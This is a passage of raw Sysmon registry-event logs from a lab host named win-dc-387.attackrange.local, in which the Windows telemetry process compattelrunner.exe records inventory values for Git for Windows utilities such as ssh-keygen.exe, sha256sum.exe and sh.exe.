14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ssh-keygen.exe|4fd9485267bf242f\Publisher(Empty) 13241300x800000000000000037511Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ssh-keygen.exe|4fd9485267bf242f\LowerCaseLongPathc:\program files\git\usr\bin\ssh-keygen.exe 13241300x800000000000000037510Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ssh-agent.exe|1411e9f6efc17c0f\BinProductVersion(Empty) 13241300x800000000000000037509Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ssh-agent.exe|1411e9f6efc17c0f\LinkDate01/01/1970 00:00:00 13241300x800000000000000037508Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ssh-agent.exe|1411e9f6efc17c0f\Publisher(Empty) 13241300x800000000000000037507Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ssh-agent.exe|1411e9f6efc17c0f\LowerCaseLongPathc:\program files\git\usr\bin\ssh-agent.exe 13241300x800000000000000037506Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ssh-add.exe|52771e80916527e6\BinProductVersion(Empty) 13241300x800000000000000037505Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ssh-add.exe|52771e80916527e6\LinkDate01/01/1970 00:00:00 13241300x800000000000000037504Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ssh-add.exe|52771e80916527e6\Publisher(Empty) 13241300x800000000000000037503Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ssh-add.exe|52771e80916527e6\LowerCaseLongPathc:\program files\git\usr\bin\ssh-add.exe 13241300x800000000000000037502Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\split.exe|6b78af18101c82a4\BinProductVersion(Empty) 13241300x800000000000000037501Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\split.exe|6b78af18101c82a4\LinkDate01/01/1970 00:00:00 13241300x800000000000000037500Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\split.exe|6b78af18101c82a4\Publisher(Empty) 13241300x800000000000000037499Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\split.exe|6b78af18101c82a4\LowerCaseLongPathc:\program files\git\usr\bin\split.exe 13241300x800000000000000037498Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sort.exe|5a1eaeebcdfdfa5b\BinProductVersion(Empty) 13241300x800000000000000037497Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sort.exe|5a1eaeebcdfdfa5b\LinkDate01/01/1970 00:00:00 13241300x800000000000000037496Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sort.exe|5a1eaeebcdfdfa5b\Publisher(Empty) 13241300x800000000000000037495Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sort.exe|5a1eaeebcdfdfa5b\LowerCaseLongPathc:\program files\git\usr\bin\sort.exe 13241300x800000000000000037494Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sleep.exe|1e8f62417166ba32\BinProductVersion(Empty) 13241300x800000000000000037493Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sleep.exe|1e8f62417166ba32\LinkDate01/01/1970 00:00:00 13241300x800000000000000037492Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sleep.exe|1e8f62417166ba32\Publisher(Empty) 13241300x800000000000000037491Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sleep.exe|1e8f62417166ba32\LowerCaseLongPathc:\program files\git\usr\bin\sleep.exe 13241300x800000000000000037490Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\shuf.exe|cfb51deed9f02428\BinProductVersion(Empty) 13241300x800000000000000037489Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\shuf.exe|cfb51deed9f02428\LinkDate01/01/1970 00:00:00 13241300x800000000000000037488Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\shuf.exe|cfb51deed9f02428\Publisher(Empty) 13241300x800000000000000037487Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\shuf.exe|cfb51deed9f02428\LowerCaseLongPathc:\program files\git\usr\bin\shuf.exe 13241300x800000000000000037486Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\shred.exe|43071571d2a31944\BinProductVersion(Empty) 13241300x800000000000000037485Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\shred.exe|43071571d2a31944\LinkDate01/01/1970 00:00:00 13241300x800000000000000037484Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\shred.exe|43071571d2a31944\Publisher(Empty) 13241300x800000000000000037483Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\shred.exe|43071571d2a31944\LowerCaseLongPathc:\program files\git\usr\bin\shred.exe 13241300x800000000000000037482Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sha512sum.exe|f96cb84497fcdcc3\BinProductVersion(Empty) 13241300x800000000000000037481Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sha512sum.exe|f96cb84497fcdcc3\LinkDate01/01/1970 00:00:00 13241300x800000000000000037480Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sha512sum.exe|f96cb84497fcdcc3\Publisher(Empty) 13241300x800000000000000037479Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sha512sum.exe|f96cb84497fcdcc3\LowerCaseLongPathc:\program files\git\usr\bin\sha512sum.exe 13241300x800000000000000037478Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sha384sum.exe|ea7c3d331520b41a\BinProductVersion(Empty) 13241300x800000000000000037477Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sha384sum.exe|ea7c3d331520b41a\LinkDate01/01/1970 00:00:00 13241300x800000000000000037476Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sha384sum.exe|ea7c3d331520b41a\Publisher(Empty) 13241300x800000000000000037475Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sha384sum.exe|ea7c3d331520b41a\LowerCaseLongPathc:\program files\git\usr\bin\sha384sum.exe 13241300x800000000000000037474Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sha256sum.exe|d1427df5ba9eb839\BinProductVersion(Empty) 13241300x800000000000000037473Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sha256sum.exe|d1427df5ba9eb839\LinkDate01/01/1970 00:00:00 13241300x800000000000000037472Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sha256sum.exe|d1427df5ba9eb839\Publisher(Empty) 13241300x800000000000000037471Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sha256sum.exe|d1427df5ba9eb839\LowerCaseLongPathc:\program files\git\usr\bin\sha256sum.exe 13241300x800000000000000037470Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sha224sum.exe|fc63c300ff87f33f\BinProductVersion(Empty) 13241300x800000000000000037469Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sha224sum.exe|fc63c300ff87f33f\LinkDate01/01/1970 00:00:00 13241300x800000000000000037468Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sha224sum.exe|fc63c300ff87f33f\Publisher(Empty) 13241300x800000000000000037467Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sha224sum.exe|fc63c300ff87f33f\LowerCaseLongPathc:\program files\git\usr\bin\sha224sum.exe 13241300x800000000000000037466Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sha1sum.exe|f6d44c369684cd7e\BinProductVersion(Empty) 13241300x800000000000000037465Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sha1sum.exe|f6d44c369684cd7e\LinkDate01/01/1970 00:00:00 13241300x800000000000000037464Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sha1sum.exe|f6d44c369684cd7e\Publisher(Empty) 13241300x800000000000000037463Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sha1sum.exe|f6d44c369684cd7e\LowerCaseLongPathc:\program files\git\usr\bin\sha1sum.exe 13241300x800000000000000037462Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sh.exe|464d78a7aeef6674\BinProductVersion2.33.0.2 13241300x800000000000000037461Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sh.exe|464d78a7aeef6674\LinkDate08/24/2021 10:09:53 13241300x800000000000000037460Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sh.exe|464d78a7aeef6674\Publisherthe git development community 13241300x800000000000000037459Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sh.exe|464d78a7aeef6674\LowerCaseLongPathc:\program files\git\bin\sh.exe 13241300x800000000000000037458Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sh.exe|1bb90a29aab21f25\BinProductVersion(Empty) 13241300x800000000000000037457Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sh.exe|1bb90a29aab21f25\LinkDate12/04/2018 10:21:15 13241300x800000000000000037456Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sh.exe|1bb90a29aab21f25\Publisher(Empty) 13241300x800000000000000037455Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sh.exe|1bb90a29aab21f25\LowerCaseLongPathc:\program files\git\usr\bin\sh.exe 13241300x800000000000000037454Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sftp.exe|e3eb45112610e0ab\BinProductVersion(Empty) 13241300x800000000000000037453Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sftp.exe|e3eb45112610e0ab\LinkDate01/01/1970 00:00:00 13241300x800000000000000037452Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sftp.exe|e3eb45112610e0ab\Publisher(Empty) 13241300x800000000000000037451Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sftp.exe|e3eb45112610e0ab\LowerCaseLongPathc:\program files\git\usr\bin\sftp.exe 13241300x800000000000000037450Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sftp-server.exe|88c04bc0a95e22d3\BinProductVersion(Empty) 13241300x800000000000000037449Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sftp-server.exe|88c04bc0a95e22d3\LinkDate01/01/1970 00:00:00 13241300x800000000000000037448Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sftp-server.exe|88c04bc0a95e22d3\Publisher(Empty) 13241300x800000000000000037447Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sftp-server.exe|88c04bc0a95e22d3\LowerCaseLongPathc:\program files\git\usr\lib\ssh\sftp-server.exe 13241300x800000000000000037446Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sexp-conv.exe|ff49bfd2063ca556\BinProductVersion(Empty) 13241300x800000000000000037445Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sexp-conv.exe|ff49bfd2063ca556\LinkDate01/01/1970 00:00:00 13241300x800000000000000037444Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sexp-conv.exe|ff49bfd2063ca556\Publisher(Empty) 13241300x800000000000000037443Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sexp-conv.exe|ff49bfd2063ca556\LowerCaseLongPathc:\program files\git\mingw64\bin\sexp-conv.exe 13241300x800000000000000037442Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sexp-conv.exe|8bde837678ce07ac\BinProductVersion(Empty) 13241300x800000000000000037441Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sexp-conv.exe|8bde837678ce07ac\LinkDate01/01/1970 00:00:00 13241300x800000000000000037440Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sexp-conv.exe|8bde837678ce07ac\Publisher(Empty) 13241300x800000000000000037439Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 